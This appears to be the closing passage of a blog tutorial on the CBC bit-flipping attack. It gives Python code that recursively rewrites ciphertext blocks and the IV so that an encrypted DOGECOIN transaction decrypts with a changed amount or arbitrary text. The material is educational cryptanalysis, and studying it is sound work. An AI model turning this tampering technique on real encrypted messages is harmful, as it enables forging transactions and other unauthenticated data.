Exactly what we had before, now to play a little more, try to change more things from the last block of plaintext, using a mod_plaintext = b'DOGECOIN transaction: 100 DOGE to [email protected]' (changing the domain of the email) we get: b'DOGECOIN transac]p\xc7P\xb6?)\xb6\xbb\x8av\x8c\xb68\x01\xe9o [email protected]'. You can see that it was changed.

Now we have a part of the exploit, a function capable of identifying the bytes to be changed and performing the attack automatically, but we still have some problems, the final plaintext is still wrong, now let’s apply the recursion that was mentioned in the previous topics.

def bit_flipping(original_plaintext: bytes, modified_plaintext: bytes, ciphertext: bytes):
    diff_positions = []
    for position, byte_ in enumerate(original_plaintext):
        x = xor(original_plaintext[position], modified_plaintext[position]) # xor each byte
        if x != b'\x00': # if the result is not null, then it is different
            diff_positions.append(position)
    
    ciphertext = list(ciphertext)
    diff_positions.reverse()
    diff_positions = [position for position in diff_positions if position >= 16]
    
    for position in diff_positions:
        ciphertext[position - 16] = original_plaintext[position] ^ ciphertext[position - 16] ^ modified_plaintext[position] 
    
    ciphertext = bytes(ciphertext) # this ciphertext is wrong

    # recursively call the function until the modified plaintext is equal to the plaintext

    mod_final_plaintext = decrypt(key, IV, ciphertext) # the attacker needs to be able to decrypt the ciphertext
    new_ciphertext = ciphertext ## need to change the ciphertext again
    
    while mod_final_plaintext[16:] != modified_plaintext[16:]:
        new_ciphertext = bit_flipping(mod_final_plaintext, modified_plaintext, new_ciphertext)
        mod_final_plaintext = decrypt(key, IV, new_ciphertext)

    return new_ciphertext

To use recursion to our advantage, what the algorithm does is to consider the modified ciphertext that generates the strange plaintext, as a new ciphertext to be modified, so we run the function recursively (line 22) using as target the new_ciphertext (this ciphertext that generates the wrong plaintext). Note that even in the while only the 16th byte onwards is taken, this is because we have not yet started to mess with the IV.

After executing, we get:

b'\xc6\xd1\xad=\xabF\xd6\xcbE\r\x0b\xfe\xa8\x0b<Ftion: 100 DOGE to [email protected]'

It worked! Now the second block that was leaving wrong already appears, to play a little more, we can modify the transaction value to 999. Running it gives us:

b'\x08\xd4\xf1\x92\x90\x16\xd4\x07\x8c\xaa\xc4\xc9\x9c\xad\xd28tion: 999 DOGE to [email protected]'

Note that we still have a final plaintext that has wrong bytes, those belonging to the first block, how to fix it? For this we will have to enter a variation of the bitflipping attack, where the attacker can modify the IV used in the decrypt function. By changing the IV, we will be able to fix the first block, and thus we will have a 100% clean plaintext.

And how to change the IV? Using the general equation we come to:

\[\large C_{1-1}' = C_0' = IV' = P_1 \oplus IV \oplus P_1' \\ \large C_0 = IV\]

In order to apply this in our algorithm, we have to modify our function by adding two new arguments, the changeiv and the iv.

def bit_flipping(original_plaintext: bytes, modified_plaintext: bytes, ciphertext: bytes, changeiv=False, iv=None):
    diff_positions = []
    for position, byte_ in enumerate(original_plaintext):
        x = xor(original_plaintext[position], modified_plaintext[position]) # xor each byte
        if x != b'\x00': # if the result is not null, then it is different
            diff_positions.append(position)
    
    ciphertext = list(ciphertext)
    diff_positions.reverse()
    diff_positions = [position for position in diff_positions if position >= 16]
    
    for position in diff_positions:
        ciphertext[position - 16] = original_plaintext[position] ^ ciphertext[position - 16] ^ modified_plaintext[position] 
    
    ciphertext = bytes(ciphertext) # this ciphertext is wrong

    # recursively call the function until the modified plaintext is equal to the plaintext

    mod_final_plaintext = decrypt(key, IV, ciphertext) # the attacker needs to be able to decrypt the ciphertext
    new_ciphertext = ciphertext ## need to change the ciphertext again
    
    while mod_final_plaintext[16:] != modified_plaintext[16:]:
        new_ciphertext = bit_flipping(mod_final_plaintext, modified_plaintext, new_ciphertext)
        mod_final_plaintext = decrypt(key, IV, new_ciphertext)

    if changeiv == True:
        # the firts 16 bytes of our modified plaintext are wrong, so we need to change the iv, lets get exactly the first 16 bytes wrongs positions of the plaintext
        # like diff again      
        wrong_positions = []
        for position, byte_ in enumerate(mod_final_plaintext[:16]):
            x = xor(mod_final_plaintext[position], modified_plaintext[position])
            if x != b'\x00':
                wrong_positions.append(position)

        # iv to change   
        new_iv = list(iv)
        for wrong_position in wrong_positions:
            new_iv[wrong_position] = mod_final_plaintext[wrong_position] ^ iv[wrong_position] ^ modified_plaintext[wrong_position]
        new_iv = bytes(new_iv)

        # return a tuple contaning the new ciphertext and the new iv
        return new_ciphertext, new_iv

    return new_ciphertext
    
original_plaintext = b'DOGECOIN transaction: 100 DOGE to [email protected]'
mod_plaintext =      b'DOGECOIN transaction: 999 DOGE to [email protected]'

ciphertext = encrypt(key, iv, original_plaintext)
new_ciphertext, new_iv = bit_flipping(original_plaintext, mod_plaintext, ciphertext, changeiv=True, iv=iv)

print(decrypt(key, new_iv, new_ciphertext))

When checking if it is necessary to change the iv (line 26), a part of the diff is first executed, to get the exact positions of what needs to be changed, the application of the equation occurs on line 38, where the new_iv is modified using the equation. Note that there is nothing like position - 16, this is because the IV is another thing, the part of the ciphertext, what we do is just reflect the position to it, since both the first block of the ciphertext and the IV have 16 bytes of size. After execution, the result is: b'DOGECOIN transaction: 999 DOGE to [email protected]'

Now yes, a perfect final plaintext! As usual, to play around, try to change the mod_plaintext to only empty spaces…

original_plaintext = b'DOGECOIN transaction: 100 DOGE to [email protected]'
mod_plaintext =      b'                                                '

ciphertext = encrypt(key, iv, original_plaintext)
new_ciphertext, new_iv = bit_flipping(original_plaintext, mod_plaintext, ciphertext, changeiv=True, iv=iv)

print(decrypt(key, new_iv, new_ciphertext))

Executing…

image

It works too, this proves that now it is possible to make any kind of change.

Conclusion

After some research, I didn’t find many attacks or vulnerabilities that specifically involve bit-flipping in CBC, I believe that so far it is a theoretical vulnerability, which is usually found in CTF cryptography challenges. I found difficulty in researching the topic due to its complexity, and because many articles are focused on specific CTF challenges, so I decided to write this article to address the topic in a general way, without CTF challenges involved, bring the theory and mathematical operations seeking to address an example and carry it to the end with the aim of building a generic algorithm/exploit for any situation (within the variations of the attack).

It is important to mention that this article was constructed from personal research and study, therefore, it may contain errors, if you find any, please let me know so I can correct it. If this happens, send an email to: [email protected] or open an issue in the repository of this blog.

Thanks for reading!

❌